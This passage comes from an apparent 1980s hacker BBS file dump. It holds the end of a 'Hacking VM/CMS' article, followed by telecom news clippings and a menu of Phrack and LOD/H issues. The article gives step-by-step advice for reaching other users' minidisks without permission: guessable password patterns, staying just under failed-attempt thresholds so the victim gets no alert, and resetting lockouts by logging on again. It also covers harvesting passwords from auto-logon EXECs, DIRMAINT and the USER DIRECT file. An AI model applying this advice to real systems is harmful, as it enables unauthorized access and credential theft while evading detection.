  3176. use a mode of MW. It is not recommended to have write access to anothers' disk
  3177. if they themselves have write access. CMS cannot guarantee the integrity of
  3178. the data on a disk which has more than one person linked to it with write
  3179. access. Now if you see that the user is in a disconneced (DSC) state through
  3180. the Q NAMES command, then it shouldn't be a problem if you have write access
  3181. also since the person is not active. If that person re-connects however, then
  3182. it is advisable to RELEASE that disk as soon as possible to avoid any chance of
  3183. data being destoyed.
  3184.  
  3185. PASS=PASSWORD  like the logon password, it can be a 1-8 character string that
  3186. MUST match the access mode password for the VADDR1 of the userid which you are
  3187. attempting to gain access to. Up to three access mode passwords can exist for
  3188. each minidisk, R, W, and M.
  3189.  
  3190. If the installation uses the Password Suppression Facility, an INVALID FORMAT
  3191. message will be issued when you attempt to enter the password for a disk on the
  3192. same line as the LINK command was entered on. Obviously this is to prevent
  3193. people from 'spoofing' the password off the screen or from printouts found in
  3194. the trash. If this occurs, just hit return after entering the access mode, and
  3195. wait for the enter password response.
  3196.  
  3197. Every disk password along with every users password and other information is
  3198. contained in the CP Directory. If the password is "ALL" then a password is not
  3199. required for any user so you will not be asked for one. You will then recieve
  3200. a ready message indicating that the transaction has just been completed.
  3201.  
  3202. If you receive the message: "BUBBA 191 NOT LINKED; NO READ PASSWORD" then
  3203. within the CP Directory, there is no read password at all. This means that the
  3204. only way you can gain access to BUBBA's directory would be by getting his logon
  3205. password. One note, I believe that a users logon password cannot be any of his
  3206. access mode passwords. The reasons for this are obvious. If BUBBA wants JOE to
  3207. access a disk, then he can give JOE the corresponding disk password. If this
  3208. was identical to his logon password then JOE could logon as BUBBA and access
  3209. all BUBBA's disks with no problem, and at the same time posses all the privs
  3210. that BUBBA has. Within the CP directory, if there is no password entry for read
  3211. access then there are no entries for write nor multi. If there is no entry for
  3212. write then there may or may not be an entry for read, but definitly not one for
  3213. multi. And finally if there is no entry for multi then there may or may not be
  3214. entries for read and write.
  3215.  
  3216. The methods for obtaining disk access passwords are the same as anything else.
  3217. Common sense and "Password Psychology" come into account along with the element
  3218. of luck.
  3219.  
  3220. Assume the userid is VMTEST and you are hacking the READ password. Passwords
  3221. may be: RVMTEST, RVM, RTEST, RTESTVM. Others may be READ, READVM, VMREAD,
  3222. READTEST, TESTREAD and even VMTEST. Of course it could be something like: J2*Z5
  3223. Many times the same password will be used for R, W, and M access instead of
  3224. three separate passwords.
  3225.  
  3226. CP keeps track of unsuccessful LINK attempts due to invalid passwords. When you
  3227. exceed the maximum number of incorrect password attempts, which usually
  3228. defaults to 10, the link command will be disabled for the remainder of your
  3229. stay on the system. All you have to do is re-logon and you will have full use
  3230. of LINK again.
  3231.  
  3232. If the LOGON/AUTOLOG/LINK journaling facility is activated, unsuccessful link
  3233. attempts due to the above are recorded. When the threshold is reached the
  3234. userid whose password you are trying to hack is sent a message. Therefore, keep
  3235. track of the number of attempts you make and keep just short of the system
  3236. threshold.
  3237.  
  3238. After successfully linking to a users' disk, you must issue the ACCESS command
  3239. in order to get a directory listing or access any files on that disk. This is
  3240. accomplished by:
  3241.  
  3242. .ACCESS VADDR2 B
  3243.  
  3244. VADDR2 is the address after 'AS' in your link command line, and 'B' is the
  3245. filemode letter which you wish to access the disk as. This can be anything but
  3246. the letters which you have already assigned up to a total of 26 (A-Z).
  3247.  
  3248. After accessing the disk to your hearts content, you can then RELEASE it. When
  3249. you logoff the disk is automatically released. Releasing the disk is not
  3250. necessary unless you already are attached to 26 minidisks, and you want to
  3251. access more. You would then release whatever disks you wish and link then
  3252. access others. After releasing disks, and you want to re-access that disk, you
  3253. do not have to issue another link command but merely the ACCess command and
  3254. what filemode you wish it to be.
  3255.  
  3256. The QUERY DASD command will list the minidisks that most everyone on the system
  3257. has access to. All of these may or maynot be automatically accessed upon logon.
  3258. For this reason, you should issue it, then all you have to do is ACCess the
  3259. virtual address and define the filemode.
  3260.  
  3261. .Q DASD
  3262.  
  3263. DASD  190  3380  SYSRES  R/O   32 CYL
  3264. DASD  191  3380  SYSRES  R/W    1 CYL
  3265. DASD  192  3380  SYSRES  R/O    2 CYL
  3266. DASD  193  3380  SYSRES  R/O   19 CYL
  3267. DASD  194  3380  SYSRES  R/O   21 CYL
  3268. DASD  19E  3380  SYSRES  R/O   27 CYL
  3269.  
  3270. In our Q SEARCH list, we have access to 190 as the system disk, 191 as our A
  3271. disk, 192 as our D disk, 19E as the systems' Y disk. Both 193 and 194 are
  3272. accessable but have not been accessed by us. Thus:
  3273.  
  3274. .ACC 193 B
  3275. B (193) R/O
  3276. .
  3277.  
  3278. Now the 193 disk is our B disk and accessable by us. You can perform the same
  3279. procedure for the 194 disk.
  3280.  
  3281.  
  3282. DIRMAINT:
  3283. ---------
  3284.  
  3285. The Directory Maintenance utility can be found on some systems. If it is
  3286. running, DIRMAINT should be a valid userid. The DIRMAINT userid is
  3287. automatically initialized when the system is started up. It remains in
  3288. Disconnected mode awaiting transactions which contain directory maintenance
  3289. commands.
  3290.  
  3291.  
  3292. If you come across a system with DIRMAINT, it will provide you with all the
  3293. information you need to know about it. A few commands are important, at least
  3294. to the hacker:
  3295.  
  3296. MDPW  This displays access passwords for one or all of that userid's minidisks.
  3297.  
  3298. .DIRM MDPW
  3299. DVHDIR005R ENTER CURRENT CP PASSWORD TO VALIDATE COMMAND OR A NULL TO EXIT:
  3300. R; T=0.12/0.15 19:33:34
  3301.  DVHMDF301I MINIDISK 191: RBUBBA     WBUBBA    MBUBBA
  3302.  DVHMDF301I MINIDISK 192: RBUBPW     BONEHEAD  MULTIBUB
  3303.  
  3304. The reason you must enter the users logon password is obvious. If someone walks
  3305. up to a users terminal and wants to know what the guys disk passwords are all
  3306. he would have to do is enter this command and would get them, except for the
  3307. fact that it does ask for the users logon password, thus, protecting the disk
  3308. passwords.
  3309.  
  3310. Help   Get more info on DIRM commands.
  3311. PW     This changes a users logon password
  3312. PW?    Find out how long it was since the user changed his logon password.
  3313. MDISK  Change access mode, change, add, or delete passwords.
  3314. LINK   Cause an automatic link, at logon, to another users minidisk.
  3315. FOR    Enter a DIRMaint command for another user if authorized.
  3316.  
  3317.  
  3318. THINGS YOU WANT:
  3319. ----------------
  3320.  
  3321. Things you want are: More valid userid's to try passwords on, actual logon
  3322. passwords, and disk access passwords. Obtaining userid's can be accomplished by
  3323. using the Q NAMES command every time you logon. Obtaining logon passwords isn't
  3324. as simple. There are a couple of places which you will want to explore.
  3325.  
  3326. The AUTOLOG1 or AUTOOP virtual machines (userid's) usually auto-logon other
  3327. userid's. Now, in order to do this they must have those users' passwords. These
  3328. are contained within various EXECs within their user directory. If you can
  3329. obtain a valid disk access password for whichever one of these is running on
  3330. your particular system, you can get more passwords and possibly some disk
  3331. access passwords for about 10 other userid's. This should allow you to get more
  3332. disk access passwords and hopefully more logon passwords. Nevertheless, having
  3333. obtained a few more passwords, and not using them until the original one you
  3334. hacked dies, will greatly extend your stay on the system.
  3335.  
  3336. EXEC files from any user may contain more disk access passwords for other users
  3337. and those users directories may contain EXECs which have more passwords, and
  3338. so on. Of course many other types of files may contain this type of
  3339. information.
  3340.  
  3341. The CP directory, this is similar to a big bullseye on a target. This
  3342. directory, as previously explained contains users' passwords, various system
  3343. information and minidisk passwords. The directory usually goes under the
  3344. filename/filetype of USER DIRECT. It can be anywhere on the system, and can
  3345. have a different name which in my view would add to system security. It is
  3346. usually found in either or both of two users' directorys which I leave to you
  3347. to find (sorry). This is a very big weakness in CMS due to the fact that if you
  3348. can find what userid the directory is in, and it's disk access password, you've
  3349. got the system by the balls. The file may also have a filetype of INDEX which
  3350. is a compilation or sorting of pertinent information used for speeding up
  3351. various procedures the system carries out constantly. A typical entry in the
  3352. USER DIRECT file would look like:
  3353.  
  3354. USER BUBBA BUBAPASS 1M 3M BG
  3355.  
  3356. VMU01000
  3357.  ACCOUNT 101 SYSPROG
  3358.  
  3359. VMU01010
  3360.  IPL CMS
  3361.  
  3362. VMU01020
  3363.  CONSOLE 00D 3215
  3364.  
  3365. VMU01030
  3366.  SPOOL 00C 2540 READER *
  3367.  
  3368. VMU01040
  3369.  SPOOL 00D 2540 PUNCH *
  3370.  
  3371. VMU01050
  3372.  SPOOL 00E 1403 A
  3373.  
  3374. VMU01060
  3375.  LINK MAINT 190 190 RR
  3376.  
  3377. VMU01070
  3378.  LINK MAINT 19D 19D RR
  3379.  
  3380. VMU01080
  3381.  LINK MAINT 19E 19E RR
  3382.  
  3383. VMU01090
  3384.  MDISK 191 3350 152 003 VMPK01 MR RBUBBA WBUBBA   MBUBBA
  3385.  MDISK 192 3350 152 003 VMPK01 MR RBUBPW BONEHEAD MULTIBUB
  3386.  
  3387. VMU01100
  3388. *
  3389.  
  3390.  
  3391. The first line gives the userid of BUBBA, password BUBAPASS, 1 and 3 Megs of
  3392. virtual memory, and Privilege Classes B and G. The next line gives the account
  3393. number and department or owner of the account. The next few lines define
  3394. miscellaneous system information. Next, three lines of what disks should be
  3395. automatically linked to upon logon. And finally the minidisk (MDISK) virtual
  3396. addresses and corresponding passwords.
  3397.  
  3398.  
  3399. CONCLUSION:
  3400. -----------
  3401.  
  3402. As usual, there is always more I could add to an article like this one. I did
  3403. not want to keep writing part after part so I wrote a 'complete' article on
  3404. Hacking VM/CMS. I apologize for its length of over 50K but I wanted to mention
  3405. everything you needed to become familiar with the Operating System and its
  3406. Security/Insecurity. I intentionally 'forgot' to mention various information
  3407. which would put sensitive and destructive information in the hands of anyone
  3408. who reads this article. The information within this article can and will be
  3409. different from system to system so don't take anything too literally. This
  3410. article is comprised: 80% information from actual system use, 10% CMS help
  3411. files, and 10% from various CMS documentation. I may write a followup article
  3412. of shorter length as more people become familiar with CMS.
  3413.  
  3414. Lex Luthor
  3415.  
  3416.  
  3417.  
  3418.  
  3419.  
  3420.  
  3421. Gfiles: (1-8, ^7),?,Q : 
  3422.  
  3423.  
  3424.                              Network News & Notes
  3425.  
  3426.  
  3427. -------------------------------------------------------------------------------
  3428.  
  3429. CWA Backs Bill To Ban Secret Telephone Monitoring (Communications Week 4/13/87)
  3430.  
  3431.  
  3432.      The Communications Workers of America threw itself into the thick of a
  3433. growing congressional debate on privacy protections for workers by launching a
  3434. campaign to enact legislation prohibiting secret monitoring of telephone
  3435. operators. The union has for years attempted unsuccessfully to stop
  3436. telephone companies from listening to operators for performance assessments.
  3437.  
  3438.      The union estimated that over 200,000 operators at AT&T & local operating
  3439. companies are under surveillance. Third-party monitoring of telephone calls is
  3440. illegal under the 1968 Wiretap Act, but a provision in the law lets employers
  3441. listen in on worker conversations.
  3442.  
  3443.      For many years, only the telephone companies had the ability to monitor
  3444. employees. Today, with the development of electronic telephone gear and
  3445. computers, the practice has spread to health and insurance company personnel,
  3446. the IRS and airline and hotel reservation representatives.
  3447.  
  3448.      Telephone company officials said they had not yet determined their
  3449. position on the bill, but they stressed that monitoring was necessary to ensure
  3450. that operators maintain performance standards. "In the competitive world AT&T
  3451. faces, the name of the game is how well you treat the customer," said an AT&T
  3452. spokeswoman. "We make spot checks to ensure the quality of service.
  3453.  
  3454.      CWA president Morton Bahr argued at a news conference that monitoring does
  3455. not improve service. "The assumption by many employers that supervision must be
  3456. conducted secretly, or else the worker will quit trying, is both unfair and
  3457. contradicts all available evidence," he said.
  3458.  
  3459.      The stress of being under surveillance by supervisors and computers often
  3460. causes operators to develop stress-related illnesses, such as nervous
  3461. conditions, anxiety, depression and ulcers, union officials said. Even the time
  3462. operators take to use the bathroom is calculated.
  3463.  
  3464. -------------------------------------------------------------------------------
  3465.  
  3466. Crime Doesn't Pay (Communications Week 4/13/87)
  3467.  
  3468.      Those 18 cellular telephone abusers recently arrested in New York on
  3469. charges of illegally altering memory chips so they could make calls free of
  3470. charge would not have been able to bilk carriers had the companies been using
  3471. cellular phones from AUDIOVOX CORP., Hauppauge, N.Y. Audiovox president John
  3472. Shalam said his company's phones contain a mechanism built into the software
  3473. that blocks alteration of the phone's electronic serial number, or ESN. "If
  3474. someone attempts to change the ESN, the phone will not activate," Shalam said.
  3475. The cellular suspects apparently changed their ESNs, causing other users to be
  3476. billed for the offender's calls. FBI agents estimated that local mobile
  3477. telephone companies are losing approximately $40,000 per month, or about $3
  3478. million nationally, because of cellular fraud.
  3479.  
  3480. -------------------------------------------------------------------------------
  3481.  
  3482.  
  3483. US Sprint Initiates Operator Services (Communications Week 4/13/87)
  3484.  
  3485.  
  3486.      US Sprint Communications Co. has quietly become the first major long
  3487. distance company other than AT&T to offer its own nationwide collect calling,
  3488. third-party billing and other operator services.
  3489.      US Sprint's initiation of operator services early this year was made
  3490. possible by a multiyear agreement with National Data Corp. The Sprint program
  3491. puts a small dent in AT&T's marketing claims that they provide value-added
  3492. services its competitors cannot equal.
  3493.      Before Sprint began offering the nationwide program, only AT&T offered
  3494. large-scale operator services to its customers. MCI Communications Corp. has
  3495. been conducting a limited operator services trial exclusively in Topeka Kansas,
  3496. for about two years but has no immediate plans to expand the service to other
  3497. cities.
  3498.      National Data is primarily a transaction processing company, specializing
  3499. in credit card authorizations via voice or data lines. Operators handling
  3500. Sprint's collect and third-party traffic will also be spending some of their
  3501. time handling credit card authorizations.
  3502.      Calls from a US Sprint customer to an operator are automatically turned
  3503. over to National Data's operator centers in Atlanta; Cherry Hill, NJ.; Lombard
  3504. Ill.; Miami; Sparks, Nevada; and Toronto, following directions from software
  3505. developed for the long distance company's switches by National Data and
  3506. Rockwell International Corp.
  3507.      National Data is currently negotiating with about 20 other regional and
  3508. national long distance companies to provide the same sorts of services to them
  3509. as the company does for US Sprint.
  3510.  
  3511. -------------------------------------------------------------------------------
  3512.  
  3513. WARNING: Fiber Cable Is Not Tap Proof (Communications Week (4/13/87)
  3514.  
  3515.      Until recently, companies and government agencies were little concerned
  3516. about clandestine siphoning of data from fiber optic networks.
  3517.      Because of the technology involved-lightwaves-fiber is considerable more
  3518. difficult to eavesdrop on than copper wire. Many telecommunications users,
  3519. however, have mistakenly assumed this to mean that fiber is tap-proof.
  3520.      Recent tests conducted by federal agencies, such as the NSA, CIA, and FBI
  3521. have debunked the tap proof myth.
  3522.      Security of voice and data transmitted via fiber is an increasingly
  3523. crucial issue as use of fiber optical local area networks grows within the
  3524. government. Civilian agencies have committed themselves to upgrading their
  3525. on-premises networks by installing fiber. The military too, is developing more
  3526. applications for fiber optics.
  3527.      Encryption, while a common method of protecting military and State Dept.
  3528. secrets, is expensive. While signal encryption is used mostly for classified
  3529. defense communications, many other types of government data are not encoded.
  3530.      Security is a matter of definition. Fiber is secure in that it is
  3531. resistant to simple methods of tapping. To tap it, you have to be much more
  3532. sophisticated. Virtually anyone who can lift a manhole cover has access to
  3533. leased lines.
  3534.      Indeed, the government says fiber's security advantages include its
  3535. immunity to jamming, electromagnetic interference and electromagnetic pulses.
  3536.      Counter-intrusion equipment is designed to monitor and detect any breach
  3537. in optical transmission, using the principle that at least some loss in a
  3538. lightwave signal will occur if a fiber line is tapped. Such equipment also
  3539. enables a rapid pinpointing of where the intrusion is being made on the cable.
  3540.  
  3541.  
  3542.  
  3543.  
  3544. Gfiles: (1-8, ^8),?,Q : 
  3545.  
  3546. [ Main Section ]
  3547.  
  3548. 1: [ Phrack #1 ]
  3549. 2: [ Phrack #2 ]
  3550. 3: [ Phrack #3 ]
  3551. 4: [ Phrack #4 ]
  3552. 5: [ Phrack #5 ]
  3553. 6: [ Phrack #6 ]
  3554. 7: [ Phrack #7 ]
  3555. 8: [ Phrack #8 ]
  3556. 9: [ Phrack #9 ]
  3557. 10: [ Phrack #10 ]
  3558. 11: [ Phrack #11 ]
  3559. 12: [ Phrack #12 ]
  3560. 13: [ Issue #13 is lame, lame, lame... ]
  3561. 14: [ Phrack #14 ]
  3562. 15: [ Phrack #15 ]
  3563. 16: [ Phrack #16 ]
  3564. 17: [ Phrack #17 ]
  3565. 18: [ Phrack #18 ]
  3566. 19: [ Phrack #19 ]
  3567. 20: [ Phrack #20 ]
  3568. 21: [ Phrack #21 ]
  3569. 22: [ LOD/H Technical Journal #1 ]
  3570. 23: [ LOD/H Technical Journal #2 ]
  3571. 24: [ LOD/H Technical Journal #3 ]
  3572. 25: [ Telecom Security Bulletin #1  ]
  3573. 26: [ P/HUN Issue #1 ]
  3574. 27: [ P/HUN Issue #2 ]
  3575. 28: [ WGN Transcript ]
  3576. 29: [ Activist Times Incorp. ]
  3577.  
  3578.  
  3579. Gfiles: (1-29, ^23),?,Q : 
  3580.